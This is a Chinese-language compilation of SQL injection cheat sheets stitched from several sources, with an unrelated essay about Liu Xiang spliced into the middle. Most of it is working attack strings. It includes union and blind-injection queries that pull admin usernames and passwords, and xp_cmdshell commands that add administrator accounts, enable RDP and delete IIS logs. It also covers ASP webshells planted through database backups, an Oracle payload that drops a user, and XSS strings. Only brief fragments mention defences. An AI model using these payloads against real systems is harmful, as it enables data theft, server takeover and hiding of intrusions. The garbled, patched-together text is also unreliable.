手工注入语法大全
注入命令手工注入命令大全
注⼊命令⼿⼯注⼊命令⼤全1.判断是否有注⼊;and 1=1 ;and 1=22.初步判断是否是mssql ;and user>03.注⼊参数是字符'and [查询条件] and ''='4.搜索时没过滤参数的'and [查询条件] and '%25'='5.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access6.猜数据库 ;and (select Count(*) from [数据库名])>07.猜字段 ;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;execmaster.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历⽬录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历⽬录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得⼦⽬录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有⼦⽬录的⽬录树构;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看⽂件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, ⼦键;exec xp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集⽅式返回所有键值xp_regread 根键,⼦键,键值名;exec xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,⼦键, 值名, 值类型, 值值类型有2种REG_SZ 表⽰字符型,REG_DWORD 表⽰整型;exec xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'写⼊注册表xp_regdeletevalue 根键,⼦键,值名exec xp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值14.mssql的backup创建webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='c:\l.asp';15.mssql内置函数;and (select @@version)>0 获得Windows的版本号;and user_name()='dbo' 判断当前系统的连接⽤户是不是sa;and (select user_name())>0 爆当前系统的连接⽤户;and (select db_name())>0 得到当前连接的数据库16.简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='g:\wwwtest\l.asp';。
sql手工注入常用方法
SQL手工注入常用方法什么是SQL注入?SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而可以对数据库进行未经授权的访问和操作。
攻击者可以利用这个漏洞获取敏感信息、篡改数据或者执行非法操作。
在应用程序中,当用户输入的数据没有经过正确的过滤和验证时,就容易受到SQL注入攻击。
因此,了解常用的SQL注入方法以及如何防范这些攻击是非常重要的。
SQL手工注入常用方法1. 基于布尔盲注基于布尔盲注是一种常见且有效的手工注入方法。
它利用了数据库查询结果为真或假来判断语句是否执行成功。
攻击者通过构造恶意输入,并观察页面返回结果的变化来推测数据库中存储的信息。
例如,假设存在一个登录页面,用户输入用户名和密码进行登录。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在用户名或密码字段中输入特殊字符来触发SQL注入。
以下是一个简单示例:SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1';在上述示例中,攻击者通过在密码字段中输入' OR '1'='1来构造恶意输入。
由于1=1恒成立,所以整个查询语句将返回所有用户的信息,从而绕过了登录验证。
为了防止基于布尔盲注的攻击,应用程序需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来构建SQL查询。
2. 基于时间盲注基于时间盲注是一种利用数据库延迟响应时间来判断语句执行结果的手工注入方法。
攻击者通过构造恶意输入,并观察页面返回结果的响应时间来推测数据库中存储的信息。
例如,假设存在一个搜索功能,用户可以通过输入关键字搜索相关内容。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在搜索关键字中插入特殊字符来触发SQL注入。
全球最全的SQL手工注入教程
全球最全的SQL手工注入教程!(1)听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助......SQL 注入天书- ASP 注入漏洞全接触收藏引言随着B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW 端口访问,而且表面看起来跟一般的Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS 日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。
能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与―菜鸟‖的根本区别。
根据国情,国内的网站用ASP+Access 或SQLServer 的占70% 以上,PHP+MySQ 占20%,其他的不足10%。
在本文,我们从分入门、进阶至高级讲解一下ASP 注入的方法及技巧,PHP 注入的文章由NB 联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。
了解ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。
大家准备好了吗?Lets Go...入门篇如果你以前没试过SQL注入的话,那么第一步先把IE 菜单=>工具=> Internet 选项=> 高级=> 显示友好HTTP 错误信息前面的勾去掉。
否则,不论服务器返回什么错误,IE都只显示为HTTP 500 服务器错误,不能获得更多的提示信息。
手工注入时的注入语句
注意的是英文和数字的ASCII码在1-128之间...
MSSQL注入:
having 1=1-- 【爆出一个表名及字段,如:列 'users.ID' 在选择列表中无效】
group by users.ID having 1=1--
猜解列名:
用 到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。
SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression_r (alert('xss'))}</style>
<div style={left:expression_r (alert('xss'))}></div>
经典手工注入你懂的
经典手工注入你懂的注意:对于普通的get注入,如果是字符型,前加' 后加and ''='本文整理:(第三方信息安全网)/经典手工注入你懂的拆半法######################################and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
and exists (select * from admin)and exists(select id from admin)and exists(select id from admin where id=1)and exists(select id from admin where id>1)然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围and exists (select username from admin)and exists (select password from admin)and exists (select id from admin where len(username)<10 and id=1)and exists (select id from admin where len(username)>5 and id=1)and exists (select id from admin where len(username)=6 and id=1)and exists (select id from admin where len(password)<10 and id=1)and exists (select id from admin where len(password)>5 and id=1)and exists (select id from admin where len(password)=7 and id=1)and (select top 1 asc(mid(username,1,1)) from admin)=97返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
手工注入常用SQL语句
exec sp_addsrvrolemember 'username', sysadmin
检测是否支持多行
;declare @d int;--
停掉或激活某个服务。
exec master..xp_servicecontrol 'stop','schedule'
2.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
3.再利用union来查询准确字段,如: order by 或者and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
去掉limit 1,1为查询出所有行,第一个数字代表查询第几个,第二个数字代表一次查询出的数量
第一个数字从1开始递增,查询到3时浏览器返回错误,说明存在2个库/表。
10、查数据库数量
union select cuncat(schema_name,0x3A) from information_schema.schemata limit 1,1
判断数据库类型:
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access
select @@version_compile_os 查询当前操作系统
select @@datadir 查询读取数据库路径
select @@basedir 查询MYSQL安装路径
手工注入语法大全
手工注入语法大全猜测是否存在漏洞===============================and 1=1 返回正常页面===============================and 1=2 返回错误页面===============================and 1=2 返回错误页面编号:ADODB.Field 错误‘800a0bcd‘BOF 或EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
===============================猜表===============================and 0<>(select count(*)from admin)表名为admin 更具经验猜测admin adminuser user pass password 如返回正常则存在.===============================猜帐号数目===============================and 0<(select count(*)from admin)and 1<(select count(*)from admin)and 2<(select count(*)from admin)and 3<(select count(*)from admin)and 4<(select count(*)from admin)and 5<(select count(*)from admin)and 6<(select count(*)from admin)and 7<(select count(*)from admin)and 8<(select count(*)from admin)and 9<(select count(*)from admin)如果遇到0< 返回正确页面1<返回错误页面说明帐号数目就是1个当然啦你也可以用1> 2> 来猜===============================猜解字段名称===============================and 1=(select count(*)from admin where len(username)>0)用户字段名称(username)更具经验猜测===============================and 1=(select count(*)from admin where len(password)>0)密码字段名称(password)更具经验猜测===============================猜解各个字段的长度===============================and 1=(select count(*)from admin where len(username)>0)and 1=(select count(*)from admin where len(username)>1)and 1=(select count(*)from admin where len(username)>2)and 1=(select count(*)from admin where len(username)>3)and 1=(select count(*)from admin where len(username)>4)and 1=(select count(*)from admin where len(username)>5)and 1=(select count(*)from admin where len(username)>6)and 1=(select count(*)from admin where len(username)>7)and 1=(select count(*)from admin where len(username)>8)and 1=(select count(*)from admin where len(username)>9)下面是密码字段的长度and 1=(select count(*)from admin where len(password)>1)and 1=(select count(*)from admin where len(password)>2)and 1=(select count(*)from admin where len(password)>3)and 1=(select count(*)from admin where len(password)>4)and 1=(select count(*)from admin where len(password)>5)and 1=(select count(*)from admin where len(password)>6)and 1=(select count(*)from admin where len(password)>7)and 1=(select count(*)from admin where len(password)>8)and 1=(select count(*)from admin where len(password)>9)返回错误则正确===============================猜解字符===============================猜解用户and 1=(select count(*)from admin where left(username,1)=‘a‘)and 1=(select count(*)from admin where left(username,2)=‘ad‘)and 1=(select count(*)from admin where left(username,3)=‘adm‘)and 1=(select count(*)from admin where left(username,4)=‘admi‘)and 1=(select count(*)from admin where left(username,5)=‘admin‘)猜解密码and 1=(select count(*)from admin where left(password,1)=‘a‘)and 1=(select count(*)from admin where left(password,2)=‘ad‘)and 1=(select count(*)from admin where left(password,3)=‘adm‘)and 1=(select count(*)from admin where left(password,4)=‘admi‘)and 1=(select count(*)from admin where left(password,5)=‘admin‘)返回正常则正常===============================命令:select中文意思:选择说明:用于找出合乎条件的记录===============================加总函数:COUNT中文意思:数量说明:用于求指定的数量===============================子句:FROM中文意思:数据表说明:用于指定数据表===============================子句:where中文意思:条件说明:用于设定条件===============================运算符:AND中文意思:并且说明:逻辑且===============================TOP --取出前面的指定长度数据select top 10 * from .....===============================and 1=(select top 1 count(*)from Admin where Asc(mid(pass,5,1))=51)-- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.数字型手工注入:数字型手工注入站点教程:目标站点:/注入漏洞:/2s.asp?districtid=35&classificationid=17&id=60第一步:检测是否又注入点!1、’返回异常2、and 1=1 返回正常3、and 1=2 返回异常第二步:猜解数据库表名!and exists (select * from admin)返回正常说明存在admin表。
手工注入
select * from 表 where id=\'ade7 and 1=2\' ,因为程序会自动查询引号里的内容,如果我们按前面这两个语句这样提交的话,程序就会查询id值为ade7 and 1=1和ade7 and 1=2的记录,这样是查不到结果的(你可不要告诉我数据库里正好有两个记录的id就是ade7 and 1=1 和and 1=2)。这里可能有朋友要问了,为什么不是查询id为\'ade7,然后and 1=\'1呢?好,我现在回答你们,就算可以查询id值为\'ade7的记录,那这个句子也是错的,1怎么会等于\'1呢?对吧?更何况程序是不可能查询\'ade7的,更准备的说是数据库中不可能有一个字段的值是\'ade7,因为这个字符串少一个引号,如果直接把这个字符串存入数据库的话,程序会报错的!怎么样?明白了吧?现在再说用 \' and \'1\'=\'1和\' and \'1\'=\'2来测试的的原理!同样是这个查询语句:
后面加上\";--\"的话那程序就会把\";--\"当成参数的一部分,这样查询就会出错!如果错误,那基本上可以肯定是ACCESS了(因为网上用这两种数据库的网站最多!)
C。用以上方法都判断不出来的话,那可以用这一招!利用ACCESS和MSSQL数据库的差异来进行判断!要用到两个查询语句!同样,如果注入点是/article/as.asp?id=875,那我们在后面加上 and exists (select count(*) from sysobjects),那么地址就变成了
1。判断是否存在注入漏洞:
这个相信大家都应该知道! 就是在一个调用数据库的网址后面加上分别加上 and 1=1和 and 1=2 ,如果加入and 1=1返回正常(就是和原来没有加 and 1=1时页面样子的一样),而加入 and 1=2返回错误(和原来没有加 and 1=2时页面的样子不一样),就可以证明这个页面存在注入漏洞。比如:
字符型手工注入原理
刘翔,我们爱的是你,不是金牌作文
雅典奥运会上,刘翔110米跨栏用秒的几个瞬间打破了世界纪录。
从此,13亿中国人给他了太大的希望、鼓励与支持,希望他能够在29届奥运会上取得更好的成绩。
可是,有谁曾想过,这对于25岁的刘翔,是多大的一种压力啊。
4年后,北京奥运会110米栏赛场上,再次出现了刘翔的身影。
13亿中国人以“只许成功,不许失败”的心情等待刘翔登上领奖台那刻。
然而,当我们再次看到赛场时,望见的是刘翔离开赛场的身影??刘翔因右脚跟腱伤势退出了比赛。
顿时,志愿者们哭了,观众们哭了,13亿中国人都哭了。
那天下午,一位朋友来我家找我玩时,三句话离不开刘翔。
“一些人太不通情达理了,他们为什么要靠刘翔拿金牌,为什么不自己去拿,甚至有的人还在赛场上破口大骂!”
“是啊,有同感。
刘翔退出比赛这个选择是对的,在某些场合上,我们就应该学会放弃。
”
………
‘写给刘翔哥哥’
哭吧哭吧,男儿哭吧哭吧不是罪。
刘翔哥哥,不用想,你此刻一定很伤心,没能参加中国首次举办的奥运会。
也许你会想:你使13亿中国人失望了。
不,没有。
刘翔哥哥,我们爱的是你,不是金牌我们一直支持着你,爱你一百年,一千年,一万年,一亿年。
不管输还是赢。
刘翔哥哥,哭完了吗?哭完后,站起来,坚强些。
希望你在30届奥运会上,想你的名字一样,再次飞翔,再次腾飞。
当然,输赢不是最重要的,成功永远是属于坚强者的,加油。
祝;
早日康复
2008年8月19日
XXX
PS:请推荐者不要修改格式,谢谢合作。
Oracle 手工注入总结
(3)系统特性
在不同的OS平台我们需要考虑到,在window下,oracle是已服务方式启动,在web注射下就可以直接获得system权限,Linux下虽然不是root不过权限也挺高的,可能可以通过web注射添加系统帐户。他们同样用到的函数是:
Oracle注入危害还是很大的,甚至可以执行exploit代码,基本的应用和特性就这些了。
----------
' and (select COUNT(1) FROM detail_report)>0 and '%'='
' and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual and '%'='
删除帐号:
and '1'<>'2'||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE '' DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '' '' drop USER LengF '' '';END;--',SYS',0,'1',0) from dual
Sql手工注入
Sql手工注入1,判断是否存在漏洞:a)/index.php?content=more_product&id=17b)c)/index.php?content=more_product&id=17 and 1=1 正常d)/index.php?content=more_product&id=17 and 1=2 报错语句:and 1=1;2,查询字段数a)b)/index.php?content=more_product&id=17 order by 6 正常c)/index.php?content=more_product&id=17 order by 7 错误采用方法判断字段数在字段数边缘得到字段值语句:Order by num3,设置字段A)http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11B)在网页上得到相应的字段分布4,获得数信息A)http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7 ,group_concat(version(),database(),user()),9,10,11B)当然可以分开放group——concat5,获得库信息http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6, 7,group_concat(0x7c,schema_name),9,10,11%20from%20information_schema.schemata 6,获得表名http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,grou p_concat(0x7c,table_name),9,10,11%20from%20information_schema.tables%20where%20t able_schema=%22phplyb%22%22 为引号,表名需要用引号括起来7,获得字段http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,grou p_concat(0x7c,column_name),9,10,11%20from%20information_schema.columns%20where %20table_name=%22admin%22%20and%20table_schema=%22phplyb%228,获得表数据http://10.0.0.121/guestbook/show_msg.php?id=-1%20union%20select%201,2,3,4,5,6,7,conc at_ws(0x7c,id,username,password),9,10,11%20from%20phplyb.admin最近给某单位培训渗透测试方面的东西,把旧博客的文章转过来,学习一下。
sql手工注入笔记
access手工注入access注入access偏移注入access搜索型注入access登陆框注入1.判断注入.and 1=1and 1=2或者-0-1 看页面的变化2. access注入.联合查询order by 10and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from adminand 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin3. access偏移注入. 条件须有id字段order by 13and 1=2 union select 1,2,3,4,5,6,7,8,9,* from admin 直到*正常13-9=4 4*2=8 13-8=5and 1=2 union select 1,2,3,4,5,* from (admin as a inner join admin as b on a.id=b.id)4. access爆字段select * from next where id=1 ORDER BY sum(1)只能爆出一个字段如为bm_username 就可以猜其他的了还可以通过网站后台查看源代码查找字段5 .access搜索型注入2010%'and(select count(*)from mssysaccessobjects)>0 and '%'=' //返回正常。
access数据库2010%'and(select count(*)from admin)>0 and '%'=' //返回正常存在admin表2010%'and(select count(username)from admin)>0 and '%'=' //返回正常,存在username 字段2010%'and(select count(password)from admin)>0 and '%'=' //返回正常,并且存在password字段2010%'and(select top 1 len(username)from admin)>4 and '%'=' //返回正常username长度大于42010%'and(select top 1 len(username)from admin)=5 and '%'=' //返回正常username长度等于52010%'and(select top 1 len(password)from admin)=32 and '%'=' //返回正常,密码长度为32位加密。
sql注入之手工注入示例详解
sql注⼊之⼿⼯注⼊⽰例详解前⾔这篇⽂章就是⼀个最基本的SQl⼿⼯注⼊的过程了。
基本上在sqlilabs上⾯的实验,如果知道了其中的全部知识点,都可以通过以下的步骤进⾏脱裤。
下⾯的这个步骤也是其他的脱裤⼿段的基础。
如果想要精通SQL注⼊,那么这个最基本的脱裤步骤是必须了解和掌握的。
为了⽅便说明,我们还是⽤之前的数字型的注⼊点为例来进⾏说明。
得到字段总数后台的SQL语句的写法⼤致为select username,password,[....] from table where id=userinput那么我们通过使⽤order by的语句来判断select所查询字段的数⽬。
那么payload变为:http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....当使⽤order by 4时程序出错,那么select的字段⼀共是3个。
得到显⽰位在页⾯上会显⽰从select中选取的字段,我们接下来就是要判断显⽰的字段是哪⼏个字段。
使⽤如下的payload(两者均可)进⾏判断。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3当使⽤个如上的payload时,页⾯的显⽰如下:通过如上的页⾯显⽰就可以知道,页⾯中显⽰的是第2位和第3位的信息。
查选库在知道了显⽰位之后,那么接下来就可以通过显⽰位来显⽰我们想知道的信息,如数据库的版本,⽤户信息等等。
那么我们使⽤如下的payload就可以知道相关的信息。
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()此时页⾯的显⽰为:可以看到在页⾯上就出现了数据库的版本信息和当前使⽤的数据库信息。
全球最全的SQL手工注入教程
全球最全的SQL手工注入教程SQL注入是一种常见的网络安全漏洞,攻击者可以利用它来绕过应用程序的安全验证机制,并对数据库进行非法操作。
了解SQL注入的攻击方法和防范措施对于保障网站和数据库的安全非常重要。
以下是全球最全的SQL手工注入教程,可帮助您深入了解SQL注入的原理和防范方法。
1.SQL注入的原理在了解如何防止SQL注入之前,我们首先需要了解SQL注入的原理。
SQL注入是通过将恶意的SQL代码插入到应用程序的输入字段中,然后在数据库中执行的过程。
攻击者可以通过这种方式获得对数据库的非法访问权限,包括读取、修改或删除数据。
2.SQL注入的类型SQL注入可以分为以下几种类型:-基于错误的SQL注入:攻击者通过构造恶意的SQL代码来触发应用程序的错误信息,从而获取有关数据库结构和数据的敏感信息。
-布尔型SQL注入:攻击者通过构造特定的SQL查询,根据应用程序返回的不同信息来判断是否存在漏洞。
-时间延迟型SQL注入:攻击者在SQL查询中加入时间延迟函数,通过应用程序的不同响应时间来判断是否存在漏洞。
-盲注SQL注入:攻击者在无法直接获取数据库信息的情况下,使用盲注的技术来推测数据库结构和数据。
3.攻击示例以下是一个简单的SQL注入攻击示例:假设有一个登陆页面,用户需要输入用户名和密码。
应用程序的SQL查询可能如下所示:```sqlSELECT * FROM users WHERE username = '$username' AND password = '$password'```攻击者可以通过在用户名输入框中输入" ' or 1=1-- "来注入恶意的SQL代码,从而绕过密码验证,达到非法登录的目的。
4.防止SQL注入的方法为了防止SQL注入攻击,需要采取一些安全措施:-使用参数化查询或预编译语句:通过使用参数化查询或预编译语句,可以有效地防止SQL注入攻击。
MSSQL手工注入常用语句
MSSQL手工注入常用語句[常規查詢]and exists (select * from sysobjects) //判斷是否是MSSQLand 1=convert(int,@@version)或1=(select @@version) //判斷資料庫版本;declare @d int //是否支持多行and (select count(1) from [sysobjects])>=0 //是否支援子查詢and user>0 //獲取當前資料庫用戶名and db_name>0 //獲取當前資料庫名稱and 1=convert(int,db_name()) 或1=(select db_name()) //當前資料庫名and 1=(select @@servername) //本地服務名and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員and 1=(select is_srvrolemember('db_owner') //判斷是否是庫許可權and 1=(select is_srvrolemember('public') //判斷是否為Public許可權having 1=1 -- //爆取當前資料庫資訊group by 表名.列名having 1=1 -- //爆取其他表名,由上句語句得來group by 表名.列名1,表名.列名having 1=1 -- //繼續爆當前表中的其他列名and (select top 1 name from(select top N id,name from sysobjects where xtype='U[或char(85)]' and status>0) order by id desc)>1//N從1開始遞增即可爆當前庫中所有表名,按ID降冪排列或and (select top 1 name from sysobjects where xtype='U' and name not in (select top N name from sysobjects where xtype='u'))>1 //同上and (select top 1 name from master.dbo.sysdatabases order by dbid)>1//跨庫查詢,爆第一個and (select top 1 name from master.dbo.sysdatabases where name not in(select top N name from master.dbo.sysdatabases order by dbid))>1//跨庫查詢,N從1開始遞增and (select top 1 col_name(object_id('表名'),N)from sysobjects)>1//爆指定表中任意列名,N從1開始遞增[擴展存儲]and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype='X' AND name='xp_cmdshell') //判斷xp_cmdshell是否存在and 1=(select count(*) FROM master.dbo.sysobjects wherename= 'xp_regread') //查看xp_regread擴展存儲過程是已被刪除;exec sp_addextendedproc xp_cmdshell,'xplog70.dll' //恢復xp_cmdshell;exec sp_addextendedproc ‘xp_cmdshell’,'c:\xplog70.dll’ //自定義恢復路徑;exec sp_dropextendedproc 'xp_cmdshell' //刪除xp_cmdshell ;exec master..xp_cmdshell 'dir c:\' //查看伺服器C盤目錄添加和刪除一個SA許可權的資料庫用戶hakz:(需要SA許可權)exec master.dbo.sp_addlogin hakz,passwordexec master.dbo.sp_addsrvrolemember hakz,sysadmin停掉或啟動某個服務:(需要SA許可權);exec master..xp_servicecontrol 'stop','schedule' //規則服務;exec master..xp_servicecontrol 'start','schedule';exec master..xp_servicecontrol 'start', 'server' //啟動SERVER服務獲取WEB路徑:①利用xp_cmdshell搜索:;exec master..xp_cmdshell 'dir /s d:/index.asp'②利用IIS介面獲得網站根目錄:cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/rootcmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/2/root③讀取註冊表:(Public 即可)exec master.dbo.xp_regreadHKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\sERVICES\W3SVC\Paramenters\VirtualRoots\’’/'④利用OLE控制項中的SP_OAMETHOD函數:;declare @shell int;exec master..SP_OAMETHOD 'wscript.shell',@shell out;exec master..SP_OAMETHOD @shell,'run',null,'cmd.exe/c dir /sd:/index.asp >c:/log.txt'⑤利用xp_dirtree列目錄:(Public 即可)建立臨時表:;CREA TE TABLE temp([id] INT IDENTITY (1,1) NOT NULL, [name][nvarchar](300) NOT NULL,[depth][int] NOT NULL,[isfile][nvachar](50) NULL);insert into temp exec master..xp_dirtree ‘d:/’,1,1讀取表中數據:and (select name from temp where id=N)>1 N從1開始遞增刪除臨時表:;drop table temp;--檢測SP_OAcreate是否存在:and 1=(SELECT count(*)FROM master.dbo.sysobjects WHEREname='SP_OAcreate')利用SP_OAcreate執行CMD命令:;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net userhakz hakz /add'設置虛擬目錄E為可讀:;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs –aw3svc/1/ROOT/e +browse'利用xp_cmdshell添加用戶:(需要SA許可權);exec master.dbo.xp_cmdshell 'net user hakz hakz /add';exec master.dbo.xp_cmdshell 'net localgroup administrators hakz /add'DOS下開3389 並修改埠號:sc config termservice start= autonet start termservicereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f //允許外部聯接reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD //改埠到80開啟資料庫的遠端連接:①;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=pass',’select * from table’)②;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=1.2.3.4,1433;','select * from table')刪除日誌記錄:;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex100401.log >c:\temp.txt'替換日誌記錄:;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex090404.log c:\winnt\system32\logfiles\w3svc5\ex100401.log >c:\temp.txt'差異備份語句:①完整備份一次:;backup database 庫名to disk=’c:\hakz.bak’;--②創建表並插入資料:;create table [dbo].[dtest]([cmd][image]);;insert into dtest(cmd) values(0x3C25657865637574652072657175657374282268616B7A2229253E);--③差異備份:;backup database 庫名to disk=’WEB路徑\z.asp’ withDIFFERENTIAL,FORMAT;--LOG備份語句:;alter database null set RECOVERY FULL -- //啟動資料庫為還原模式;create table cmd (a image)—-;backup log null to disk=’c:\cmd’ with int --;insrt into cmd(a) values(0x3C25657865637574652072657175657374282268616B7A2229253E) --;backup log null to disk=‘備份路徑'有時候可能一句話備份不能成功,可以多試試以下幾個版本:<%%25Execute(request(”hakz”))%%25><%Execute(request(”hakz”))%>%><%execute request(”hakz”)%><%<script language=VBscript runat=server>execute request("hakz")</script><%25Execute(request(”hakz”))%25>如果備份的資料庫名裏面有特殊符號,要用[]包含起來.沙盒模式提權:(需要SA許可權)當是SA許可權但是xp_cmdshell被刪除或xplog70.dll無法恢復時適用①打開沙盒模式;EXEC master.dbo.xp_regwrite‘HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0②利用默認Access資料庫;Select * FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.md b','selectshell("net user hakz hakz /add")');本文來自: Hakz's Blog,詳細出處請參考:/articles/hacker/sentences-for-mssql-injection.html。
sql手工注入语句SQL手工注入大全
